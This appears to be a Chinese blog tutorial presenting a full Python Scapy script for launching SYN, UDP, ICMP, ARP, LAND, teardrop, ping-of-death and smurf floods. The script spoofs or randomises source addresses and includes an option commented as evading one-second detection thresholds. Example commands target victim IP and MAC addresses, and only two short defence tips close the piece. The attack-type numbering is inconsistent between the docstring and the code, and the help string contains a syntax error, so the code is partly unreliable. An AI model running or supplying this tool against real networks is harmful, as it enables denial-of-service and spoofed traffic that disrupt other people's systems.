Scapy实现SYN、ICMP、UDP Flood、ARP等攻击测试
前言
对产品做安全性测试方式有很多种,比如,利用硬件设备,缺点是价值昂贵,另一种就是使用软件,软件的缺点比不上硬件的性能优势。
有一天,无意接触到Python Scapy工具,开启了网络安全编程学习之路。引用官网文档说明介绍它:Scapy 是一个 Python 程序,它使用户能够发送、嗅探、剖析和伪造网络数据包。这种能力允许构建可以探测、扫描或攻击网络的工具。
有时候为了满足测试要求,我们总要构造一系列测试条件,所以就有后文的ddos攻击测试以及编写一个测试脚本。
什么是DDoS 攻击?
拒绝服务(DoS) 攻击是一种恶意尝试,旨在影响合法最终用户对目标系统(如网站或应用程序)的可用性。 通常,攻击者会生成大量数据包或请求,最终使目标系统不堪重负。 在发生分布式拒绝服务(DDoS) 攻击时,攻击者使用多个被破坏或受控的来源生成攻击。
本文介绍的几种DDOS攻击,如果按照OSI分层,它们属于基础设施层(即网络层和数据传输层)。如果按DDOS攻击分类,将攻击分为基础设施层(第3层和第4层)和应用层(第6层和第7层)。
网络层和传输层有最为常见的DDos攻击,传输层包括SYN、UDP泛洪攻击等,网络层包括ICMP和ARP等,这些攻击一般数量比较大,也最易使网络或应用程序服务器的容量过载,但这些攻击已经具有很清晰标识且易于检测。
使用说明
其中:
- 攻击者:使用Scapy工具伪造网络数据包,攻击指定的网络设备,伪造网络数据包中IPv4协议的Destination Address
- 受害者:被攻击对象,伪造网络数据包中IPv4协议的Source Address
部署测试环境
-
windows10
依赖第三方库
DDos攻击脚本:9_ddos_attack.py
import os.path
from argparse import RawTextHelpFormatter
from enum import Enum, auto
import scapy.all as scapy
import argparse
import sys
import random
import time
class attackType(Enum):
"""攻击类型"""
arp_flood = auto()
tcp_land = auto()
tcp_syn_flood = auto()
udp_flood = auto()
udp_tear_drop = auto()
icmp_flood = auto()
icmp_unreachable = auto()
icmp_ping_of_death = auto()
icmp_smurf = auto()
class DDos_attack(object):
"""
一个简单的协议栈DDOS攻击辅助工具,借助于Scapy api:https://www.osgeo.cn/scapy/api实现伪造网络包,目前已满足9种网络攻击测试;
-- 支持命令行方式去配置构造报文以便完成简单的测试
-- 支持回放本地的pcap报文
-- 支持已发送攻击数据保存到本地
"""
"""
9种网络攻击协议:
arp_flood --> 1秒内收到超过100帧arp报文(不分请求和响应);
tcp_land --> TCP的syn报文中源和目的IP地址相同,一帧就报;
tcp_syn_flood --> 1秒内收到超过100帧TCP的syn报文;
udp_flood --> 1秒内收到超过1000帧UDP报文
udp_tear_drop --> IP分片出现重叠,一帧就报
icmp_flood --> 1秒内收到的icmp报文类型为8的请求帧数超过100帧;
icmp_unreachable --> 指主机在收到icmp报文类型为3的报文后,会被欺骗,记录目的地信息,对于后续发往此目的地的报文直接认为不可达。
收到任何100帧就认为是攻击
icmp_ping_of_death --> 指ping包的大小太长。收到ICMP报文中ip头部偏移字段大于50000的报文,1帧就认为是攻击
icmp_smurf --> 指以攻击目的ip向外发送广播的icmp请求,同一个局域网内收到请求的设备会向攻击目的地发送icmp响应。
我们以ICMP响应的个数来判断,1秒内收到超过100帧ICMP 类型为0的echo reply
"""
def __init__(self,
dst_mac="ff:ff:ff:ff:ff:ff",
src_mac="7c:8a:e1:98:2a:4b",
dst_ip="127.0.0.1",
src_ip="127.0.0.1",
dst_port=8081,
src_port=8081,
fragment_offset=0,
identification=242,
icmpv4_type=0,
payload='',
flags=0,
attack_type=1,
debug=0,
pcapwrite=0,
filename=None,
iface=None,
srcIpRandom=0,
ipsrc=None,
ipdst=None,
one=0
):
"""
dst_mac:
目的主机的mac地址
src_mac:
发起主机的mac地址
dst_ip:
目的主机的IP地址
src_ip:
发起主机的IP地址
dst_port:
目的主机的端口(指定tcp,udp)
src_port:
发起主机的端口(指定tcp,udp)
fragment_offset:
偏移字段,数据分组(用于tcp协议)
icmpv4_type:
icmp协议的类型:
8 --> request
0 --> reply
3 --> unreach
payload:
应用层的内容(每个数据包都可带上指定的内容)
TCP flags:
NULL = 0x00 = 0
FIN = 0x01 = 1
SYN = 0x02 = 2
RST = 0x04 = 4
PSH = 0x08 = 8
FIN + PSH = 0x009 = 9
SYN + PSH = 0x00a = 10
ACK = 0x010 = 16
SYN + ACK = 0x12 = 18
RST + ACK = 0x14 = 20
PSH + ACK = 0x18 = 24
SYN + PSH + ACK = 0x01a = 26
attack_type:
指定发送的网络攻击协议:
1: icmp_flood: 1秒内收到的icmp报文类型为8的请求帧数超过100帧
2: icmp_unreachable: icmp报文类型为3的报文,收到任何100帧就认为攻击
3: icmp_ping_of_death: 指ping包的大小太长。收到ICMP报文中ip头部偏移字段大于50000的报文,1帧就认为是攻击
4: icmp_smurf: 1秒内收到超过100帧ICMP,类型为0的echo reply
5: udp_flood: 1秒内收到超过1000帧UDP报文
6: udp_tear_drop: IP分片出现重叠,一帧就报
7: tcp_syn_flood: 1秒内收到超过100帧TCP的syn报文
8: tcp_land: TCP的syn报文中源和目的IP地址相同,一帧就报
9: arp_flood: 1秒内收到超过100帧arp报文(不分请求和响应);
debug:
打印输出数据报文的详细信息
-默认为0,即不打印;为1时打印
pcapwrite:
保存已发送数据报文到本地
-默认为0,即不输出;为1时输出
filename:
指定回放pcap文件或路径
iface:
指定设配器,即指定网卡发起网络攻击
-在windows中,适配器有"以太网,以太网 2,以太网 3...."
srcIpRandom:
随机生成源IP地址,即attack ip
-默认为0,默认的ip为10.10.10.10,为1时随机生成一个ip地址
ipsrc, ipdst:
随机生成指定的子网的ip地址
-默认为空,输入格式x.x.x.x/x
:count:
指定发送数据包的数量
"""
self._count = 4
self.dst_mac = dst_mac
self.src_mac = src_mac
self.dst_ip = dst_ip
self.src_ip = src_ip
self.dst_port = dst_port
self.src_port = src_port
self.fragment_offset = fragment_offset
self.identification = identification
self.icmpv4_type = icmpv4_type
self.payload = payload
self.flags = flags
self.iface = iface
self.attack_type = attack_type
self.debug = debug
self.pcapwrite = pcapwrite
self.filename = filename
self.srcIprandom = srcIpRandom
self.ipsrc = ipsrc
self.ipdst = ipdst
self.one = one
@property
def func(self):
"""返回被调用对象"""
_attackType = int(self.attack_type) - 1
_func = list(attackType)[_attackType]
func_instance = getattr(self, _func.name)
return func_instance
def pcapWrite(self, func):
"""保存协议数据报文"""
file = "%s_n%s.pcap" % (func.__name__,
self.count)
path = './attack_packet'
if os.path.exists(path) is False:
os.makedirs(path)
pktdump = scapy.PcapWriter(os.path.join(path, file),
append=False,
sync=True)
return pktdump
def rdpcap(self):
"""调用scapy api完成报文回放"""
return scapy.rdpcap(self.filename)
def pcapFileIsExists(self):
"""检查回放报文文件是否存在"""
if self.filename is None:
return 0
elif os.path.exists(self.filename) is False:
raise FileNotFoundError("No such file or directory: '%s'"
% self.filename)
return 1
def arp_flood(self):
"""ARP协议"""
packet = scapy.Ether(src=self.src_mac) / \
scapy.ARP(
hwsrc=self.src_mac,
psrc=self.src_ip, # who has xxxx ? Tell 'src_ip'
hwdst=self.dst_mac,
pdst=self.dst_ip # target
)
return packet
def tcp_land(self):
"""
and count > 1
and flags = 0x02 --> "SYN"
"""
if self.src_ip == self.dst_ip:
return self.tcp_syn_flood()
# self.src_ip, self.src_mac = self.dst_ip, self.dst_mac
self.src_ip = self.dst_ip
return self.tcp_syn_flood()
def tcp_syn_flood(self):
"""count > 100 and flags = 0x02"""
packet = scapy.Ether(dst=self.dst_mac,
src=self.src_mac) / \
scapy.IP(dst=self.dst_ip,
src=self.src_ip,
id=self.identification) / \
scapy.TCP(sport=self.src_port,
dport=self.dst_port,
flags=self.flags) / \
self.payload
return packet
def udp_flood(self):
"""UDP泛洪攻击"""
# self.dst_port = dr_port()
packet = scapy.Ether(dst=self.dst_mac) / \
scapy.IP(dst=self.dst_ip,
src=self.src_ip,
id=self.identification) / \
scapy.UDP(sport=self.src_port,
dport=self.dst_port) / \
self.payload
return packet
def udp_tear_drop(self):
"""随机生成一个标识"""
id = identi()
"""设置偏移字段"""
# offset_1 = 7 # 重叠
offset_1 = 8 # 正常
# offset_1 = 9 # 错开
offset_2 = 15 # 重叠
"""构造payload"""
load1 = "A" * 56
load2 = "B" * 56
load3 = "C" * 56
"""构造数据"""
packet_1 = scapy.Ether(dst=self.dst_mac) \
/ scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags='MF', proto=17, frag=0) \
/ scapy.UDP(sport=8081, dport=6319) \
/ load1
packet_2 = scapy.Ether(dst=self.dst_mac) \
/ scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags="MF", proto=17, frag=offset_1) \
/ scapy.UDP(sport=8081, dport=6319) \
/ load2
packet_3 = scapy.Ether(dst=self.dst_mac) \
/ scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags=0, proto=17, frag=offset_2) \
/ scapy.UDP(sport=8081, dport=6319) \
/ load3
return list([packet_1, packet_2, packet_3])
def icmp(self):
"""定义icmp"""
packet = scapy.Ether() / \
scapy.IP(dst=self.dst_ip,
src=self.src_ip,
frag=self.fragment_offset) / \
scapy.ICMP(type=self.icmpv4_type) / \
self.payload
return packet
def icmp_flood(self):
self.icmpv4_type = 8
return self.icmp()
def icmp_unreachable(self):
"""type = 3 --> unreachable"""
self.icmpv4_type = 3
return self.icmp()
def icmp_ping_of_death(self):
"""fragment offset > 6250 (6250 * 8 = 50000)"""
self.fragment_offset = 6251
return self.icmp()
def icmp_smurf(self):
"""type = 0 --> reply"""
self.icmpv4_type = 0
return self.icmp()
@property
def count(self):
return self._count
@count.setter
def count(self, value):
if not isinstance(value, int):
raise ValueError('value must be an Integer!')
self._count = value
def g_time(func):
# 计时装饰器
def inner(*arg, **kwarg):
s_time = time.time()
res = func(*arg, **kwarg)
e_time = time.time()
print('>>>耗时:{:.3f}秒'.format(e_time - s_time))
return res
return inner
def send(self):
"""
发送 数据包
"""
packet = self.func
try:
_p = packet()
if self.debug == "1":
if isinstance(_p, list):
for _ in _p:
_.show()
scapy.sendp(_p, iface=self.iface)
except OSError:
raise OSError("Realtek PCIe GBE family controller error(请检查使用的网卡是否正确)!")
@g_time
def test_protocol(self):
"""
发送/回放 报文
"""
packet = self.func
pktdump = None
if self.pcapwrite == '1':
pktdump = self.pcapWrite(packet)
if self.pcapFileIsExists():
if self.debug == "1":
self.rdpcap().show()
scapy.sendp(self.rdpcap(), iface=self.iface)
print(">>>回放报文pcap成功!")
else:
for _ in range(0, self.count):
if self.pcapwrite == "1":
pktdump.write(packet())
if self.srcIprandom == "1":
self.src_ip = ip_address()
if self.ipsrc is not None:
self.src_ip = ip_random(self.ipsrc)
if self.ipdst is not None:
self.dst_ip = ip_random(self.ipdst)
"""规避1秒检测"""
if self.one == "1":
if _ % 33 == 0:
print('>>>sleep 1s')
time.sleep(1)
self.send()
print(">>>[%s - %s]攻击 - 发送数据包(只发):%s个" % (
self.attack_type,
self.func.__name__,
self.count
))
def ip_random(ipSubnetMask: str) -> str:
"""
按照子网随机生成一个ip地址
输入 192.168.1.0/24 , 随机生成一个 192.168.1.0 ~ 192.168.1.255 范围内
输入 192.168.1.0/30 ,随机生成一个 192.168.1.0 ~ 192.168.1.3 范围内
输入 192.168.1.252/30 , 随机生成一个 192.168.1.252 ~ 192.168.1.255 范围内
"""
if not ipSubnetMask.__contains__("/"):
raise ValueError("Must be is a ip/netmask(x.x.x.x/x) format!")
network = ipSubnetMask.split("/")
netmask = int(network.pop())
_listip = ".".join(network).split(".")
if len(_listip) != 4:
raise ValueError("Must be an ip in 32 subnet mask format")
ipbit = "" # 保存32bit,即ip转换成32bit
for bit in _listip:
try:
if 0 <= int(bit) <= 255:
bit = int(bit)
ipbit += format(bit, '08b')
else:
raise ValueError("The input ip format does not match!")
except ValueError:
raise TypeError("Must be is an ip type, not string")
_bit = '0' + str(32 - netmask) + 'b'
_bitRandomIp = str(format(random.getrandbits(32 - netmask), _bit)) # 随机生成 32 - 子网掩码
bit32 = ipbit[:netmask] + _bitRandomIp # x.x.x.x/y --> 固定前(32 - y)位 + 随机y = 32bit
def bitConvertInt(bit8: str) -> int:
return int(bit8, 2)
ip = ".".join(map(str, [bitConvertInt(bit32[:8]),
bitConvertInt(bit32[8:16]),
bitConvertInt(bit32[16:24]),
bitConvertInt(bit32[24:32])]))
return ip
def ip_address() -> str:
"""
随机生成一个IP
"""
addr = [192, 168, 1, 55]
addr[0] = random.randrange(11, 197)
addr[1] = random.randrange(0, 255)
addr[2] = random.randrange(0, 255)
addr[3] = random.randrange(2, 254)
address = map(str, [addr[0], addr[1], addr[2], addr[3]])
return '.'.join(address)
def dr_port() -> int:
"""随机获取一个端口"""
return random.randint(1001, 65535)
def identi() -> int:
"""随机获取一个 id --> identification"""
return random.randint(1, 65535)
def tool():
"""
命令行参数
"""
attack_type_help = "attack type: \n" \
" 1: arp_flood: 1秒内收到超过100帧arp报文(不分请求和响应)\n" \
" 2: tcp_land: TCP的syn报文中源和目的IP地址相同,一帧就报\n" \
" 3: tcp_syn_flood: 1秒内收到超过100帧TCP的syn报文\n" \
" 4: udp_flood: 1秒内收到超过1000帧UDP报文\n" \
" 5: udp_tear_drop: IP分片出现重叠,一帧就报\n" \
" 6: icmp_flood: 1秒内收到的icmp报文类型为8的请求帧数超过100帧\n" \
" 7: icmp_unreachable: icmp报文类型为3的报文,收到任何100帧就认为攻击\n" \
" 8: icmp_ping_of_death: 指ping包的大小太长。收到ICMP报文中ip头部偏移字段大于50000的报文,1帧就认为是攻击\n" \
" 9: icmp_smurf: 1秒内收到超过100帧ICMP,类型为0的echo reply\n" \
if len(sys.argv) == 1:
sys.argv.append('--help')
parser = argparse.ArgumentParser(description='9种网络攻击协议测试', formatter_class=RawTextHelpFormatter)
parser.add_argument('-t', '--attackType', type=int, default=1, help=attack_type_help)
parser.add_argument('-n', '--count', type=int, default=4, help='输入发送报文的数量, (default:4)')
parser.add_argument('-d', '--dst_ip', type=str, default='19.19.19.19', help='destination address, '
'(default:19.19.19.19)')
parser.add_argument('-s', '--src_ip', type=str, default='19.19.19.11', help='source address, (default:19.19.19.11)')
parser.add_argument('-D', '--dst_mac', type=str, default='0c:73:eb:9c:26:a0', help='destination mac, '
'(default:0c:73:eb:9c:26:a0)')
parser.add_argument('-S', '--src_mac', type=str, default='7C:8A:E1:98:2A:4B', help='source mac, '
'(default:7C:8A:E1:98:2A:4B)')
parser.add_argument('-sport', type=int, default=8081, help='输入源地址端口,(default:8081)')
parser.add_argument('-dport', type=int, default=8081, help='输入目的地址端口,(default:8081)')
parser.add_argument('-f', '--flags', type=int, default=2, help='输入tcp的flags, default:2(syn)')
parser.add_argument('--debug', type=str, default=0, help='当为1时,详细输出发送的每一帧报文, (default 0)')
parser.add_argument('-i', '--iface', type=str, default='以太网', help='以特定的适配器(网卡)发送数据报文, (default:以太网)')
parser.add_argument('--pcapwrite', type=str, default=0, help='当为1时,输出pcap文件到当前目录,(default 0)')
parser.add_argument('--filename', dest='filename', type=str, default=None, help='回放指定路径的pcap文件, '
'例如: "./xxx.pcap", (default: 无)')
parser.add_argument('--srcIpRandom', type=str, default=0, help='当为1时,随机生成源IP地址,(default 0)')
parser.add_argument('--ipsrc', type=str, default=None, help='输入"10.10.10.0/24"随机返回10.10.10.x格式的ip作为源ip(default 无)')
parser.add_argument('--ipdst', type=str, default=None, help='输入"10.10.10.0/24"随机返回10.10.10.x格式的ip作为源ip(default 无)')
parser.add_argument('--one', type=str, default=0, help='当为1时,每发100帧将休眠1s(default 0)')
arguments = parser.parse_args()
return arguments
def main():
"""主程序"""
arguments = tool()
attack_type = arguments.attackType
dst_ip = arguments.dst_ip
src_ip = arguments.src_ip
dst_mac = arguments.dst_mac
flags = arguments.flags
debug = arguments.debug
iface = arguments.iface
pcapwrite = arguments.pcapwrite
filename = arguments.filename
sport = arguments.sport
dport = arguments.dport
srcIpRandom = arguments.srcIpRandom
ipsrc = arguments.ipsrc
ipdst = arguments.ipdst
one = arguments.one
ddos = DDos_attack(dst_mac=dst_mac,
src_ip=src_ip,
dst_ip=dst_ip,
attack_type=attack_type,
src_port=sport,
dst_port=dport,
payload='ddos attack testing',
debug=debug,
flags=flags,
iface=iface,
pcapwrite=pcapwrite,
filename=filename,
srcIpRandom=srcIpRandom,
ipsrc=ipsrc,
ipdst=ipdst,
one=one)
ddos.count = arguments.count
ddos.test_protocol()
if __name__ == '__main__':
main()
调试脚本
参数说明
$# python .\9_ddos_attack.py
usage: 9_ddos_attack.py [-h] [-t ATTACKTYPE] [-n COUNT] [-d DST_IP] [-s SRC_IP] [-D DST_MAC] [-S SRC_MAC] [-sport SPORT] [-dport DPORT] [-f FLAGS] [--debug DEBUG] [-i IFACE]
[--pcapwrite PCAPWRITE] [--filename FILENAME] [--srcIpRandom SRCIPRANDOM] [--ipsrc IPSRC] [--ipdst IPDST] [--one ONE]
9种网络攻击协议测试
optional arguments:
-h, --help show this help message and exit
-t ATTACKTYPE, --attackType ATTACKTYPE
attack type:
1: arp_flood: 1秒内收到超过100帧arp报文(不分请求和响应)
2: tcp_land: TCP的syn报文中源和目的IP地址相同,一帧就报
3: tcp_syn_flood: 1秒内收到超过100帧TCP的syn报文
4: udp_flood: 1秒内收到超过1000帧UDP报文
5: udp_tear_drop: IP分片出现重叠,一帧就报
6: icmp_flood: 1秒内收到的icmp报文类型为8的请求帧数超过100帧
7: icmp_unreachable: icmp报文类型为3的报文,收到任何100帧就认为攻击
8: icmp_ping_of_death: 指ping包的大小太长。收到ICMP报文中ip头部偏移字段大于50000的报文,1帧就认为是攻击
9: icmp_smurf: 1秒内收到超过100帧ICMP,类型为0的echo reply
-n COUNT, --count COUNT
输入发送报文的数量, (default:4)
-d DST_IP, --dst_ip DST_IP
destination address, (default:19.19.19.19)
-s SRC_IP, --src_ip SRC_IP
source address, (default:19.19.19.11)
-D DST_MAC, --dst_mac DST_MAC
destination mac, (default:0c:73:eb:9c:26:a0)
-S SRC_MAC, --src_mac SRC_MAC
source mac, (default:7C:8A:E1:98:2A:4B)
-sport SPORT 输入源地址端口,(default:8081)
输入tcp的flags, default:2(syn)
--debug DEBUG 当为1时,详细输出发送的每一帧报文, (default 0)
-i IFACE, --iface IFACE
以特定的适配器(网卡)发送数据报文, (default:以太网)
--pcapwrite PCAPWRITE
当为1时,输出pcap文件到当前目录,(default 0)
--filename FILENAME 回放指定路径的pcap文件, 例如: "./xxx.pcap", (default: 无)
--srcIpRandom SRCIPRANDOM
当为1时,随机生成源IP地址,(default 0)
--ipsrc IPSRC 输入"10.10.10.0/24"随机返回10.10.10.x格式的ip作为源ip(default 无)
--ipdst IPDST 输入"10.10.10.0/24"随机返回10.10.10.x格式的ip作为源ip(default 无)
--one ONE 当为1时,每发100帧将休眠1s(default 0)
ICMP flood攻击
$# python 9_ddos_attack.py -t 1 -n 10 -d 19.19.19.19 -D 0c:73:eb:aa:bb:cc --pcapwrite 1 --srcIpRandom 1 --debug 1
解释:
- -t 指定攻击类型,这里1表示icmp flood,除此之外,还有arp、tcp、udp攻击,详细参考代码注释
- -n表示发包数量,即伪造n个网络数据包,这里发包数量10个
- -d表示目的主机ip地址,即受害者的主机ip
- -D表示目的主机的mac地址,即受害者的主机mac地址
- --pcapwrite 1表示保存伪造的网络数据包,保存于脚本目录下,生成一个attack_packet文件夹
- --srcIpRandom 1 表示生成的每个伪造网络包的源IP地址都不一样
- --debug表示打印输出每一个伪造网络包的详细信息,格式参考Scapy文档
wireshark抓包实例如下:
UDP flood攻击
$# python 9_ddos_attack.py --filename attack_packet/udp_flood_n499.pcap
解释:
- --filename 指定回放的报文
示例这里已经准备好一份事先设定好udp报文
wireshark抓包实例如下:
TCP syn flood攻击
$# python 9_ddos_attack.py -t 7 -n 10 --pcapwrite 1 --ipsrc 192.168.1.0/24
解释:
- -t 指定攻击类型,这里7表示tcp syn flood,除此之外,还有arp、icmp、udp攻击,详细参考代码注释
- -n表示发包数量,即伪造n个网络数据包,这里发包数量10个
- --pcapwrite 1表示保存伪造的网络数据包,保存于脚本目录下,生成一个attack_packet文件夹
- --ipsrc表示伪造指定子网ip作为源IP地址
wireshark抓包实例如下:
ARP flood攻击
$# python 9_ddos_attack.py -t 9 -n 10 -d 192.168.1.47 -i '以太网' --pcapwrite 1
解释:
-
-t 指定攻击类型,这里9表示arp flood,除此之外,还有tcp、icmp、udp攻击,详细参考代码注释
-
-n表示发包数量,即伪造n个网络数据包,这里发包数量10个
-
-d表示目的主机ip地址,即受害者的主机ip,这里的目的ip地址是192.168.1.47
-
-i表示指定本地网络适配器,即网卡的名称,这里是网卡名称为以太网
-
--pcapwrite 1表示保存伪造的网络数据包,保存于脚本目录下,生成一个attack_packet文件夹
打开本地生成的pcap文件
需要注意的地方:
- 伪造的网络数据需指定网卡发送,脚本默认为“以太网”,如果存在多个网卡,它们可能命名为“以太网 2,以太网 3...."
防护思路
减少攻击表面积
- 不要将一些非必要的应用程序或资源暴露出来,把暴露出来的端口、协议或应用程序关闭,尽量减少可能的攻击点,让我们集中精力执行攻击缓解工作
- 使用防火墙或访问控制列表来控制进来的流量
扩容
- 增大宽度容量或服务器容量,缓解大容量的攻击